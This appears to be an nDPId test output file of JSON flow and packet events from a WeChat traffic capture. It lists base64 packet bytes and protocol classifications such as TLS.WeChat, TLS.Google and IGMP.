+00600{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167402,"pkt_ts_usec":669115,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACy\/0VAAEAGFYHAqAFny82XotNSAbu9GRjPaSE\/QIAYARWScwAAAQEICgAw6nFF0dRVFgMDAEYQAABCQQSodlJVfkgcPdCNyg8MxcPPyMMVu2GGgiiQcNvSk\/XPNS4tHGVpWALjyRNlzUBgx8BOzjGw3P57YxKONN42aXs0FAMDAAEBFgMDACgAAAAAAAAAABpHCGE0LVyx5Ogac1iVBZTsPVuaoIc1Qg\/Jbk1Zpdak"} +00494{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167403,"pkt_ts_usec":18073,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn50RAAC0GQC3LzZeiwKgBZwG701JpIT9AvRkZTYAYAHhnaAAAAQEICkXR1K0AMOpxFAMDAAEBFgMDACgbsP2NNYJif+6lSsn5QXXt4R3OAUoL58YjbIDnRnSrCx280FkQp1TW"} +00426{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167403,"pkt_ts_usec":56266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/0ZAAEAGFf7AqAFny82XotNSAbu9GRlNaSE\/c4AQARX2nQAAAQEICgAw6tJF0dSt"} +02117{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167407,"pkt_ts_usec":235126,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUM\/0dAAEAGESXAqAFny82XotNSAbu9GRlNaSE\/c4AYARWogwAAAQEICgAw7uZF0dStFwMDBNMAAAAAAAAAAfebI5XaJ010wJ70Ri2YGhndP8+ZytDiNBiAKP4ipKsMF8p4ERu13yjfNgMIGWA6O6R743mwM9q2GQ2emt3hDANg9txcFQJjGiGLRU5YIjMk2RqY+xutfvaF1cxx8m5DuGYfkMFaWwVNT\/H4XxyKk09AjkNcuGiAM7yWj8X4hzmrO0F1lvnkFD0kiI2tK+gdtZqGK4QalxP1XPkvygMWxYG+Ld30bja1Ef3yQd1PhEy742Yyx2q32bPtLl5onqGEcsJjFksvFX1XHESscua\/2dDyW9\/Dw\/dwhR\/BcQmPoCmbW9ZiR0E+eHLO36Rr\/rDAXWZNE8BENKHIWiJu0W2Q336RwMnybG9WeRqZCZOaBKPATu2rAst1VF\/HV5zJR4B70u1KCSQSHrh1114CI6i3mEJtljQVzISk9SCURuWYemfDR+y3wvuRdjV+NFg66JW1YAmzK7QRmKCg4+D0U5f6du4lv3zi0IIuAUJBC0MwFO7neVOKmdmHXuLFmm9FSw\/Xh3WHSlFc\/nvSL6JYikFwnOiA57P9K9S3t7a69fp26SsF8fs6XhDkcYL89h+104tRxKetj0QXTQ7vkQROjQoqnbF1H6wvcdZetMNnKqgpRw1CPa6dMLtkLBl\/PZXLqN\/LsAkS+LzixPMTvKb3ezUl7H7Pu5G4WNWvppvmgkLwA0MQDayGYK5SJPXmZSoZKUdsEwwrK8jPzo4Opm2Nve126FRRSPpzCNfC4XVZz7sSXF08ofqm1xROE+AybRrVgD361X1K4tkdnOKvM5umP7CnaP\/z6fVaEtzo98VjwWR3KsNrS725vErh34IsAaZXJbMTAKgezpcHriuwRIdANyF2F0iYsZkbVEmO8kyr4kjxU1Iuaz\/8uNYTV+Yq\/9pyu7IEjT0htB0KA9Hy7akAJCUGRWPcnHyFFooW365Xo\/3anh+2nzH4KMAi8F5GPafpSKEvJMbf2wzLEp39QSzBlr+NvHDciPN1CC5m\/BZ7enPeUj6zGuTef5o7Ujrerv1NURED31uU3R3WNo\/8c8hTpScvrmnO6zRhTuZ1e\/fekQekvNAhi5ZhmEsDIcfg06kBIvEoMK7Pc\/m42SsjueqiVyBW6dZNXiYvJOBRIafGJXYXvLdIiYGp2+ctlbD+rWHdZcCD2SGkhsVVPcA\/gxz42SKIZ1r21quG3N+oNV17W8SxmY1d2d+D\/j9vJ5SpGSUh+zzjqRBJk3dCFn2uIr+xrtl2qO\/tLabn7q+K4kQ99zZNihTcryYF8A5KsvNOSFNzVrY5QJXGgnk9SO5twWuZCGO57aIdcBkX6qePw4GKouU0m0ztV7tZCCUTIZWmwCVNlDe06GkxCtPZMZxqSbnjhCgxBBRsv\/V+R+wEHSAFgPYTeoOukuicgjhBG0Xuv6EXllM3GBuTlxcx9y2uPm\/TNVUdBlnba9U3O9IiW6n17ax0OhmkQ4D3src3ZJtq4ofF4VR2PJnGWecEbYcUyVfbEyhSSG\/GlU36KLc3hRUsq4xr2\/NZEMkWuRZxffLaAS0dHy++iL1s5GkAjUWrmfQDOBgtokVAcKW13VmTLKHDWGx7po4\/gi\/vf6P87vbHV7GV17HfIvhBwcfGteGUCVw3gXJ6q77EAMuNm9TuRct3BA=="} +00449{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167410,"pkt_ts_usec":267931,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABE4H5AAAER9h\/AqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167410,"pkt_ts_usec":267986,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00448{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167410,"pkt_ts_usec":268365,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABE4H9AAAER9h7AqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167410,"pkt_ts_usec":268399,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00448{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167411,"pkt_ts_usec":268663,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD7eJKcD6iOCABFAABE4LZAAAER9efAqAFn4AAA+xTpFOkAMOiYAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167411,"pkt_ts_usec":268762,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD7eJKcD6iOht1gAAAAADARAf6AAAAAAAAAepKc\/\/4PqI7\/AgAAAAAAAAAAAAAAAAD7FOkU6QAwzvQAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1492167337792,"flow_last_seen":1492167353998,"flow_tot_l4_data_len":796,"flow_min_l4_data_len":32,"flow_max_l4_data_len":636,"flow_avg_l4_data_len":132,"midstream":1,"l3_proto":"ip4","src_ip":"203.205.151.162","dst_ip":"192.168.1.103","src_port":443,"dst_port":54084,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1492167337792,"flow_last_seen":1492167353998,"flow_tot_l4_data_len":796,"flow_min_l4_data_len":32,"flow_max_l4_data_len":636,"flow_avg_l4_data_len":132,"midstream":1,"l3_proto":"ip4","src_ip":"203.205.151.162","dst_ip":"192.168.1.103","src_port":443,"dst_port":54084,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00516{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":3,"flow_first_seen":1492167353687,"flow_last_seen":1492167354015,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54085,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":3,"flow_first_seen":1492167353687,"flow_last_seen":1492167354015,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54085,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":8,"flow_first_seen":1492167345896,"flow_last_seen":1492167360666,"flow_tot_l4_data_len":311,"flow_min_l4_data_len":32,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":38,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.78","src_port":53220,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":8,"flow_first_seen":1492167345896,"flow_last_seen":1492167360666,"flow_tot_l4_data_len":311,"flow_min_l4_data_len":32,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":38,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.78","src_port":53220,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1492167345896,"flow_last_seen":1492167360663,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":32,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.78","src_port":47627,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"}} +00487{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":7,"flow_first_seen":1492167345896,"flow_last_seen":1492167360663,"flow_tot_l4_data_len":279,"flow_min_l4_data_len":32,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":39,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.78","src_port":47627,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00509{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1492167353687,"flow_last_seen":1492167354049,"flow_tot_l4_data_len":80,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.211","src_port":40741,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00489{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":452,"source":"wechat.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":4,"flow_first_seen":1492167353687,"flow_last_seen":1492167354049,"flow_tot_l4_data_len":80,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.211","src_port":40741,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167422,"pkt_ts_usec":952271,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0KNBAAEAGqhvAqAFn2DrNjsJ7AbvMOVSD1yvysIAQAT2SvQAAAQEICgAw\/kAycps2"} +00425{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167422,"pkt_ts_usec":991183,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0f4cAADQGnsTYOs2OwKgBZwG7wnvXK\/KwzDlUhIAQAVRmugAAAQEICjJzSzUAMHos"} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":468,"source":"wechat.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":41,"flow_first_seen":1492167353687,"flow_last_seen":1492167367265,"flow_tot_l4_data_len":25193,"flow_min_l4_data_len":32,"flow_max_l4_data_len":5858,"flow_avg_l4_data_len":614,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54089,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":468,"source":"wechat.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":17,"flow_first_seen":1492167353937,"flow_last_seen":1492167367264,"flow_tot_l4_data_len":4091,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":240,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54090,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":468,"source":"wechat.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":15,"flow_first_seen":1492167355723,"flow_last_seen":1492167367264,"flow_tot_l4_data_len":4027,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":268,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54091,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":474,"source":"wechat.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1492167440370,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00404{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167440,"pkt_ts_usec":370306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":50,"pkt_l4_len":12,"pkt":"AQBeAAAB8IQvSpdgCABGoAAkj9gAAAEC8bPAqAH+4AAAAZQEAAARZOybAAAAAAIAAAA="} +00467{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":474,"source":"wechat.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1492167440370,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":475,"source":"wechat.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1492167440984,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00411{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167440,"pkt_ts_usec":984773,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPPkAAAECRRTAqAFk4AAAFpQEAAAiAOwAAAAAAQIAAADv\/\/\/9"} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":475,"source":"wechat.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1492167440984,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":476,"source":"wechat.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1492167440984,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00436{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":476,"source":"wechat.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1492167440370,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":476,"source":"wechat.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":26,"flow_first_seen":1492167366908,"flow_last_seen":1492167378674,"flow_tot_l4_data_len":10622,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":408,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54092,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":476,"source":"wechat.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":8,"flow_first_seen":1492167367159,"flow_last_seen":1492167379000,"flow_tot_l4_data_len":280,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54093,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00490{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":476,"source":"wechat.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":8,"flow_first_seen":1492167367159,"flow_last_seen":1492167379000,"flow_tot_l4_data_len":280,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54093,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167442,"pkt_ts_usec":172270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePNAAEAGFxzAqAFnQOmnvIyxFGy60MyoSq1b+oAQAO1ERAAAAQEICgAxEQWFniDE"} +00425{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167442,"pkt_ts_usec":226462,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0\/NwAACsG55JA6ae8wKgBZxRsjLFKrVv6utDMqYAQAWXzsQAAAQEICoWe0MAAL7Ej"} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":478,"source":"wechat.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1492167443647,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167443,"pkt_ts_usec":647047,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPPoAAAECRRPAqAFk4AAAFpQEAAAiAPsBAAAAAQIAAADgAAD8"} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":478,"source":"wechat.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1492167443647,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00408{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167444,"pkt_ts_usec":467952,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPPwAAAECRRHAqAFk4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":488,"source":"wechat.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1492167449288,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":31,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167449,"pkt_ts_usec":288224,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAWeJKcD6iOCABGwAAoAABAAAECQerAqAFn4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":488,"source":"wechat.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1492167449288,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00411{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167449,"pkt_ts_usec":586432,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAW0CeIF3AECABGoAAoPQQAAAECRQnAqAFk4AAAFpQEAAAiAOwDAAAAAQIAAADv\/\/\/6"} +00437{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":490,"source":"wechat.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1492167449288,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} 